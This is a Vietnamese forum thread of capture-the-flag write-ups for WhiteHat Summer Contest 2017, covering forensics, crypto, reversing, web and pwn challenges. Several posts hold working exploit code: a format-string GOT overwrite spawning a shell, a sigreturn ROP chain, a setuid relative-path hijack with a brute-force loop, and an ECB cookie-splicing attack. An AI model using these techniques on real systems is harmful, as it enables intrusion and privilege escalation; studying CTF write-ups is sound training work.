Tổng hợp Write-up cuộc thi WhiteHat Summer Contest 2017

sunny

VIP Members
30/06/2014
869
1.849 bài viết
Tổng hợp Write-up cuộc thi WhiteHat Summer Contest 2017
Mời các bạn thành viên đến với một phần rất hấp dẫn sau Summer Contest 2017, write-up các bài thi.

WRITEUP - Copy.png
WhiteHat Summer Contest 2017 gồm 24 thử thách:
  1. My Khe beach | Lĩnh vực: Miscellaneous | Số đội giải được 6 | Số điểm 200
  2. Ha Long bay | Lĩnh vực: Cryptography | Số đội giải được 10 | Số điểm 250
  3. Thien Cam beach | Lĩnh vực: Reverse Engineering | Số đội giải được 6 | Số điểm 250
  4. Cua Lo beach | Lĩnh vực: Reverse Engineering | Số đội giải được 5 | Số điểm 100
  5. Sam Son beach | Lĩnh vực: Reverse Engineering | Số đội giải được 8 | Số điểm 100
  6. Dai Lanh cape | Lĩnh vực: Reverse Engineering | Số đội giải được 7 | Số điểm 100
  7. Lang Co beach | Lĩnh vực: Reverse Engineering | Số đội giải được 6 | Số điểm 250
  8. Cua Dai beach | Lĩnh vực: Web Security | Số đội giải được 24 | Số điểm 100
  9. Da Nang | Lĩnh vực: Cryptography | Số đội giải được 19 | Số điểm 200
  10. Quang Ngai | Lĩnh vực: Forensics | Số đội giải được 21 | Số điểm 100
  11. Hue | Lĩnh vực: Forensics | Số đội giải được 54 | Số điểm 200
  12. Tuy Hoa | Lĩnh vực: Reverse Engineering | Số đội giải được 37 | Số điểm 100
  13. Da Lat city | Lĩnh vực: Pwnable | Số đội giải được 20 | Số điểm 100
  14. Con Dao islands | Lĩnh vực: Miscellaneous | Số đội giải được 30 | Số điểm 100
  15. Nha Trang beach | Lĩnh vực: Web Security | Số đội giải được 19 | Số điểm 150
  16. Phu Quoc island | Lĩnh vực: Pwnable | Số đội giải được 3 | Số điểm 400
  17. Ba Na Hill | Lĩnh vực: Pwnable | Số đội giải được 4 | Số điểm 300
  18. Mui Ne | Lĩnh vực: Pwnable | Số đội giải được 34 | Số điểm 100
  19. Ho Coc beach | Lĩnh vực: Pwnable | Số đội giải được 11 | Số điểm 100
  20. Cat Ba island | Lĩnh vực: Cryptography | Số đội giải được 23 | Số điểm 200
  21. Dai Lai Lake | Lĩnh vực: Forensics | Số đội giải được 73 | Số điểm 100
  22. Ky Co beach | Lĩnh vực: Pwnable | Số đội giải được 1 | Số điểm 300
  23. Quan Lan beach | Lĩnh vực: Pwnable | Số đội giải được 5 | Số điểm 100
  24. Da Nhay beach | Lĩnh vực: Reverse Engineering | Số đội giải được 14 | Số điểm 200

Ban tổ chức thân mời các đội chơi chia sẻ đáp án các bài thi để các bạn thành viên tham khảo.

Một số thông tin thêm về WhiteHat Summer Contest 2017:
  • Thời gian: 24 tiếng (Từ 09:00 thứ 7, ngày 27/5 đến 09:00 Chủ nhật, ngày 28/5/2017)
  • Số bài thi: 24
  • Nội dung thi: 6 (Forensics, Cryptography, Pwnable, Reverse Engineering, Web Security, Miscellaneous )
  • Tổng số lượt bài được giải:440
  • Tổng số điểm tuyệt đối: 4100 (trung bình 170 điểm/bài)
  • Số đội ghi điểm: 108
________________
Bài viết liên quan:
 
Chỉnh sửa lần cuối:
Writeup Dai Lai Lake - Forensic - 100 points
Sau tải về và giải nén, ta được khá nhiều file
Mở các thư mục xem, thì ta thấy có file sql thử mở bằng sqlite3
Mã:
ls assets
passcode.sqlite
sqlite> .tables
 user     zadminz
Mở dữ liệu các bảng thì thấy có thông tin, nhưng không phải flag
Mã:
SELECT * FROM user;
1|[email protected]|1234
2|[email protected]|3333
Chú ý email, ta thấy email này có domain rất lạ, một tên miền spam email.
Mã:
SELECT * FROM zadminz;
1|[email protected]|7777
Truy cập vào trang web và điền thông tin giống email, đúng như dự đoán, đây là email spam nên không cần phải điền mật khẩu
mail.png

WhiteHat{Sha1(check_your_db_before_building_app)}
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: sunny and ciso93
Comment
Writeup Hue - Forensic - 200 points

Tải về và giải nén
Mã:
ls
 Hue.zip  'my collection'   openme.zip
Rất nhiều hình các quốc gia và mã qrcode
qrcode.jpg

Ghép các hình lại được qrcode chứa password để giải nén file
Mã:
zbarimg qrcode.jpg
QR-Code:=== Ea5y p4ssw0rd h4h4 ===
scanned 1 barcode symbols from 1 images in 0.15 seconds
File flag.txt chỉ có vài dòng, tìm các decode hình này
18835296_1488619977854917_1911566786_n.jpg

Decode bằng điện thoại ta lấy được flag
here.png
WhiteHat{Sha1(d0tc0d3_s0_c00l)}
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: ciso93 and sunny
Comment
xin lỗi mod nhưng cho mình interupt một chút. Cái phần Hue Forensic 200 thì dùng phần mềm gì để ghép các hình lại thành bar code vậy ạ :-? với cả cái này chỉ đơn thuần là chơi jigsaw puzzle chứ không có hint gì để mình biết trước thứ tự của các hình có chứa barcode đúng không ạ?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Cho m hỏi là link app decode dot code với. Làm ra cái ảnh mà tìm hoài không thấy link
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: Sugi_b3o
Comment
Decode dot code thì dùng trang online này cũng được, không nhất thiết phải tải về :)))
 
Comment
xin lỗi mod nhưng cho mình interupt một chút. Cái phần Hue Forensic 200 thì dùng phần mềm gì để ghép các hình lại thành bar code vậy ạ :-? với cả cái này chỉ đơn thuần là chơi jigsaw puzzle chứ không có hint gì để mình biết trước thứ tự của các hình có chứa barcode đúng không ạ?
Thực sự đây là cách làm nhanh của mình :D :D bởi vì qrcode chỉ cần chính xác tầm 80%~ trở lên là ứng dụng quét có thể auto fixed rồi
2017-05-31-png.1675
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: ciso93
Comment
Writeup fomat_me - Pwn - 100 points

Format string is very popular. Can you exploit it this time?
BTW, Mui Ne is a familiar summer vacation destination in Viet Nam.
Netcat: nc formatme.wargame.whitehat.vn 1337
Download file:
http://material.wargame.whitehat.vn/contests/13/fomat_me.zip<md5:2b629d8aa66e63da677a691615363a25>
Backup:
http://bak.material.wargame.whitehat.vn/contests/13/fomat_me.zip<md5:2b629d8aa66e63da677a691615363a25>
nc backup.wargame.whitehat.vn 33333
fomat_me: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bcdcd688ea5cc831304ff1a8b3f8d456c6669f04, not stripped
main.PNG
format string, stack buffer overflow quá rõ ràng.
Stack overflow thì có vẻ chưa ổn lắm vì dính CANARY.
Ta theo hướng format string, từ buff s tới ebp là 0x2c + 8 = 44 + 8 = 52 bytes.
Với lượng bytes như này thì payload format string sẽ thường đè qua cả stack cookie => call ___stack_chk_fail rồi exit.
Ta sẽ thực hiện ghi đè __stack_chk_fail GOT thành main để khi call ___stack_chk_fail ta sẽ quay về main lại, đồng thời thực hiện leak libc bằng __libc_start_main.

Tiếp theo khi trở lại được main rồi ta tiếp tục thực hiện ghi đè setvbuf => system, stdin => /bin/sh.
___stack_chk_fail sẽ được gọi thêm lần nữa => quay về main thực hiện setvbuf(stdin) lúc này là system("/bin/sh") => shell
Mã:
from pwn import *
import time
context(arch = 'i386', os = 'linux')
def write2mem(r,addr_value,offset,prefix="",suffix="",sub=0):
        d = []
        for addr,value in addr_value:
                d.append((value>>16,addr+2))
                d.append((value&0xffff,addr))
        d.sort()
        payload=""
        address = ""
        v = 0
        for value,addr in d:
                value = value-len(d)*4-sub
                if value==v:
                        payload+="%{}$hn".format(str(offset))
                else:
                        payload+="%{}x%{}$hn".format(str(value-v),str(offset))
                v = value
                address+=p32(addr)
                offset+=1
        payload = prefix+address+payload+suffix
        return payload

def exploit():
        __stack_chk_fail_GOT = 0x0804A014
        main = 0x0804851B
        setvbuf = 0x0804A020
        stdin = 0x0804A040
    
        HOST = 'formatme.wargame.whitehat.vn'
        PORT = 1337
        r = remote(HOST, PORT)
  
        offset = 7
        r.recvuntil("echo ")
        payload = write2mem(r,[(__stack_chk_fail_GOT,main)],offset,"","%20$p%19$p")
        r.sendline(payload)
        leak = r.recvuntil("echo ")[-5-len("0xf7538637"):-5]
        __libc_start_main = int(leak,16)-247
        offset_system = 141408
        offset_str_bin_sh = 1323755
        system = __libc_start_main + offset_system
        str_bin_sh = __libc_start_main + offset_str_bin_sh
        payload = write2mem(r,[(setvbuf,system),(stdin,str_bin_sh)],offset,"","")
        r.sendline(payload)
        r.interactive()

exploit()
Nguồn Phiêu Lãng Blog
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Writeup Nha Trang Beach - Web - 150 points
--flagstored--

get locidol 's flag, then try diving in Nha Trang beach.

Website URL: web01.wargame.whitehat.vn

Backup: bak.web01.wargame.whitehat.vn:3880
_ Ta reg 1 acc tancuibap xem thử.
Capture1.PNG

_Mở BurpSuite để xem khi ta “stored” flag và secret.
Capture2.PNG
_ Ở đây chúng ta lưu ý chuỗi JSON và biến cookie data.
_ Biến data của chúng ta sẽ được mã hóa theo AES-ECB mỗi 13 ký tự trong chuỗi JSON có nghĩa là
Data = 256ROT13(AES_ECB(“Chuỗi JSON”))
_ Lúc đầu theo team gợi ý là Flip bit nhưng do mình code nope quá không ra. Sau đó mình thấy đề bài nói là “get locidol 's flag, then try diving in Nha Trang beach.” Nên mình tìm cách làm sao để username thành locidol
_ Đầu tiên mình reg một acc là {"username":"loc1234","secret":"","flag":""} từ đó mình sẽ được 32byte đầu tương ứng với {"username":"loc. Sau đó mình reg thêm 1 acc là {"username":"tanidol","secret":"","flag":""} sau đó mình thay 32byte đầu của acc trên thay cho 32 byte đầu của acc sau thì sau khi decrypt sẽ được chuỗi JSON {"username":"locidol","secret":"","flag":""}.
Cookie:data=eed3b3226d35e3b11453d502c844062159adbb170c73e85d2d45c9dfa423f3a4f209fcfe392d0aa86ba8a7ceeb044cd3
Capture3.PNG
Nguồn TânCùiBắp Blog
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: sunny
Comment
Phu Quoc island | Lĩnh vực: Pwnable | Số đội giải được 3 | Số điểm 400

Description:
Mã:
Ssh onto the server and pwn the program in  /home/pwnstart/problem521a60a832b5891ec4ee98b386b2952e. Then soak up the sun, enjoy white sands and tropical waters on Phu Quoc Island.

ssh [email protected]

Backup: ssh [email protected] -p 1022

password: 9283rowjfow32ordosw023

solve.py

Mã:
#!/usr/bin/env python2

from pwn import *

###

if len(sys.argv) > 1:
    DEBUG = False
else:
    DEBUG = True

context.log_level = 'debug'
context.arch = 'amd64'

###

if DEBUG:
    r = process('./start_nx_64_add_stack')
else:
    # tmp directory needs to have a file 'upon: ' with code to execute: eg, flag reader program
    s = ssh(host = 'start.wargame.whitehat.vn', user = 'pwnstart1', password = '9283rowjfow32ordosw023')
    # tmp folder needs to have the executable script/binary
    s.set_working_directory('/tmp/totolaxa')
    r = s.process('/home/pwnstart/problem521a60a832b5891ec4ee98b386b2952e/start_nx_64_add_stack', env = {'PATH':'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/tmp/totolaxa'})

GDB = False
if GDB:
    gdb.attach(r, 'b *0x0000000000400152')
r.recvuntil('weapon: ')
f = SigreturnFrame()
f.rax = constants.SYS_execve
f.rdi = 0x4000fa # string in binary
f.rsi = 0x0
f.rdx = 0x0
f.rsp = 0x00000000004000F4
f.rip = 0x00000000004000f4 # syscall
ROP  = 'A' * 40
ROP += p64(0x00400151) # pop rdx ; ret
ROP += p64(0x300)
ROP += p64(0x400149)

log.info('len(ROP): %#x' % len(ROP))
r.sendline(ROP)

time.sleep(2)

ROP  = p64(0x300) * 13
ROP += p64(0x0000000000400132)
ROP += p64(0x300) * 5
ROP += p64(0x00000000004000f4) # syscall
ROP += str(f)
r.sendline(ROP)

time.sleep(2)

r.send('A' * 15) # set sigret rax

r.interactive()
if not DEBUG:
    s.close()
r.close()

 
Comment
Da Lat city | Lĩnh vực: Pwnable | Số đội giải được 20 | Số điểm 100

Description:

Mã:
Ssh onto the server and pwn the program in /home/cheatme

And your summer vacation destination is a year round cool and green city, Da Lat.

ssh [email protected]

password: contest@#$

backup

ssh [email protected] -p 1016
password: contest@#$

This was an easy pwn challenge. The organizer provided ssh access to one of their servers and you had to exploit this cheatme binary to get the flag. You can find the binary here.

First of all, we can see that the binary is a stripped, 32-bit ELF:

Mã:
cheatme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b1d351292ce3c22474678ea7f4084efe3243f3c5, stripped

And it was compiled with the following mitigations:

Mã:
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

We’ll soon realize that we don’t really care about the mitigations for this challenge.

When we run cheatme we notices it asks for credentials, so let’s understand what it does with IDA Pro. This is the pseudocode of main():

Mã:
int __cdecl main()
{
  sub_80488FB();
  sub_8048C97();
  puts("   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ");
  sub_8048AF5();
  puts("   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ");
  sub_8048D77();
  puts("   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ");
  return 1;
}

Let’s analyze what all these functions do.

sub_80488FB() opens the file head and prints its output. Nothing interesting.

sub_8048C97() is the function that checks for a username and has this code:

Mã:
int sub_8048C97()
{
  FILE *fd; // [sp+Ch] [bp-4Ch]@1
  char s[30]; // [sp+10h] [bp-48h]@4
  char s1[30]; // [sp+2Eh] [bp-2Ah]@4
  int canary; // [sp+4Ch] [bp-Ch]@1

  c = *MK_FP(__GS__, 20);
  fd = fopen("../../problem/login/user.txt", "r");
  if ( !fd )
  {
    puts("|\rFile user does not exist");
    exit(0);
  }
  fscanf(fd, "%s", s1);
  printf("|\tEnter user     :  ");
  fgets(s, 30, stdin);
  strtok(s, "\n");
  if ( strcmp(s1, s) )
  {
    puts("|\tAccount does not exist. ");
    exit(0);
  }
  return *MK_FP(__GS__, 20) ^ c;
}

It basically opens the file ../../problem/login/user.txt in s1, reads user input in s, and the it compares the strings. If they don’t match they fail. Since the pathname of the file being opened is not absolute, we can easily bypass this check by running cheatme from a different path where we can control the user.txt file. Let’s remember this for later, when we start our exploitation.

sub_8048AF5() is the function that checks for the password has this code:

Mã:
int sub_8048AF5()
{
  int v0; // ST20_4@7
  int v2; // [sp+Ch] [bp-6Ch]@4
  char nptr[5]; // [sp+17h] [bp-61h]@4
  char v4; // [sp+1Ch] [bp-5Ch]@4
  char s[4]; // [sp+21h] [bp-57h]@1
  int v6; // [sp+25h] [bp-53h]@1
  int v7; // [sp+29h] [bp-4Fh]@1
  int v8; // [sp+2Dh] [bp-4Bh]@1
  int v9; // [sp+31h] [bp-47h]@1
  char dest[16]; // [sp+35h] [bp-43h]@1
  char v11; // [sp+45h] [bp-33h]@1
  char s1[17]; // [sp+4Eh] [bp-2Ah]@1
  char s2[13]; // [sp+5Fh] [bp-19h]@4
  int c; // [sp+6Ch] [bp-Ch]@1

  c = *MK_FP(__GS__, 20);
  *(_DWORD *)s = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  printf("|\tEnter Password :  ");
  fgets(s1, 30, stdin);
  sub_8048957(s1);
  strncpy(dest, s1, 16u);
  v11 = 0;
  if ( strcmp(dest, "ContestChallenge") )
  {
    puts("|\tPassword incorrect!. Try again.");
    exit(0);
  }
  strncpy(nptr, s2, 5u);
  v4 = 0;
  v2 = atoi(nptr);
  if ( v2 <= 9999 )
  {
    puts("|\tPassword incorrect!. Try again.");
    exit(0);
  }
  v0 = (31250 * sub_80489B4(dest) & 0x7FFFFFF) + v2;
  sub_8048A5A(v0, s);
  if ( (v2 ^ sub_80489B4(s)) % 22 != 8 )
  {
    puts("|\tPassword incorrect!. Try again.");
    exit(0);
  }
  return *MK_FP(__GS__, 20) ^ c;
}

Ok there are a couple more checks for the password. Let’s check all of them.

Of course the first thing the function does is loading the user input in s1, which is then passed to sub_8048957(). This function only checks that the length of s1 is 23 and that s1[16] == "-". One thing to notice is that IDA shows s1 and s2 as two separate variables sized 17 and 13 bytes, but thefgets() function reads 30 bytes, which is the sume of the two variables. They are contiguous (you can see that in the declarations’ comments), so they are effectively a single block of memory, and fgets() will write on all of it.

Then the first 16 bytes of s1 are copied into dest, and it checks whetherdest == "ContestChallenge".

Then it copies the first 5 bytes of s2 in nptr, converts them to an integer, and checks if this number is greater than 9999. Then it does a bunch of operations in sub_80489B4() and sub_8048A5A(), but we already know enough to start attacking the software. Let’s move onto the next and last function.

sub_8048D77() is the function that runs a python file called get_flag.py:

Mã:
int sub_8048D77()
{
  __uid_t v0; // ebx@4
  __uid_t v1; // eax@4
  __gid_t v2; // ebx@4
  __gid_t v3; // eax@4
  signed int i; // [sp+Ch] [bp-Ch]@1

  puts("|\tYou can read file flag.txt???");
  write(1, "|\tLoading File: ", 17u);
  for ( i = 0; i <= 2; ++i )
  {
    write(1, ".", 1u);
    sleep(1u);
  }
  v0 = geteuid();
  v1 = geteuid();
  setreuid(v1, v0);
  v2 = getegid();
  v3 = getegid();
  setregid(v3, v2);
  return system("./get_flag.py");
}

Nothing too complicated here, after setting euid and egid (the binary is +s on the remote server), it runs ./get_flag.py. Also in this case it’s a relative path, so it can be controlled.

Ok let’s plan an attack:
  1. We have to replicate the original environment because there are many relevant files that are either loaded or executed with relative paths.
  2. We can bypass the username check by adding our own username in theuser.txt file in the replicated environment.
  3. We can bypass the password by providing the string ContestChallenge-XXXXX where XXXXX is a number.
  4. We can run any command by creating get_flag.py with arbitrary content. Or we can run the original file if we want.
Let’s do this. First, let’s see the original environment:

Mã:
cheatme@pwnssh14-01-contest13:~/problem/login$ ls -l
total 28
-r-s--sr-x 1 authenticated authenticated 9728 May 26 18:32 cheatme
-r-------- 1 authenticated authenticated   43 May 24 23:58 flag.txt
-r-x------ 1 authenticated authenticated 1728 May 24 23:58 get_flag.py
-r--r--r-- 1 authenticated cheatme        490 May 24 23:58 head
-r-------- 1 authenticated authenticated   17 May 24 23:58 user.txt

cheatme is setuid authenticated:authenticated. All the other files are either self-explanatory or have been described before.

Let’s re-create the environment:

Mã:
cheatme@pwnssh14-01-contest13:~$ mkdir /tmp/...
cheatme@pwnssh14-01-contest13:~$ cd /tmp/...
cheatme@pwnssh14-01-contest13:/tmp/...$ mkdir -p problem/login
cheatme@pwnssh14-01-contest13:/tmp/...$ cd problem/login/
cheatme@pwnssh14-01-contest13:/tmp/.../problem/login$ echo admin>user.txt
cheatme@pwnssh14-01-contest13:/tmp/.../problem/login$ printf "admin\nContestChallenge-XXXXX\n" | ~/problem/login/cheatme
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :  |    Password incorrect!. Try again.

Ok the user bypass works. The password is of course wrong, as we have to find the right numbers that validate all the checks. To do this we can just bruteforce the number:

Mã:
cheatme@pwnssh14-01-contest13:/tmp/.../problem/login$ for a in $(seq 10000 99999); do echo $a; printf "admin\nContestChallenge-$a\n" | ~/problem/login/cheatme; done
10000
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :  |    Password incorrect!. Try again.
10001
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :  |    Password incorrect!. Try again.
10002
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :  |    Password incorrect!. Try again.
10003
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :  |    Password incorrect!. Try again.
10004
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :  |    Password incorrect!. Try again.
10005
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :  |    Password incorrect!. Try again.
10006
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    You can read file flag.txt???
|    Loading File: ...sh: 1: ./get_flag.py: not found

Bingo! 10006 passes the checks as the program tries to execute./get_flag.py which obviously doesn’t exist in this directory. So we create it and run cheatme again:

Mã:
cheatme@pwnssh14-01-contest13:/tmp/.../problem/login$ echo cat ~/problem/login/flag.txt > get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/.../problem/login$ chmod +x get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/.../problem/login$ printf "admin\nContestChallenge-10006\n" | ~/problem/login/cheatme
|    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    Enter Password :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|    You can read file flag.txt???
|    Loading File: ...Life is trying things to see if they work.

Bingo! Life is trying things to see if they work. is our flag. The flag format is WhiteHat{sha1(flag)} therefore the final flag is
WhiteHat{a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e}.

JBZ Team
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Tuy Hoa | Lĩnh vực: Reverse Engineering | Số đội giải được 37 | Số điểm 100

Description:

Mã:
REVERSE ME…

Download file:

http://material.wargame.whitehat.vn/contests/13/TuyHoa.zip

<md5:7089b9cc64431bb2c896bd026db40f0b>

Backup:

http://bak.material.wargame.whitehat.vn/contests/13/TuyHoa.zip

<md5:7089b9cc64431bb2c896bd026db40f0b>
Note: Submit WhiteHat{flag+'0'}

This is the RE problem that is able to solve by angr.

I find out that I can get flag if go through 0x400ea8. And if password wrong, go to 0x40096d.

screenshot_1.png

screenshot_2.png

So I write script by using angr as below.

Mã:
import angr
def main():
    p = angr.Project(“./re100”, load_options={‘auto_load_libs’: False})
    ex = p.surveyors.Explorer(find=(0x400EA8, ), avoid=(0x40096D,))
    ex.run()
    return ex.found[0].state.posix.dumps(0).strip(‘\0\n’)
def test():
    assert main() == ”
if __name__ == ‘__main__’:
    print main()

Mã:
$ python solve_re100.py
5a62af9a23b56ee49370808a0cf1e8096757257@@@@@@@@@@@@@@@
@@@@
$ ./re100
input password:
5a62af9a23b56ee49370808a0cf1e80967572570
Good password!!!

nacayoshi00
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên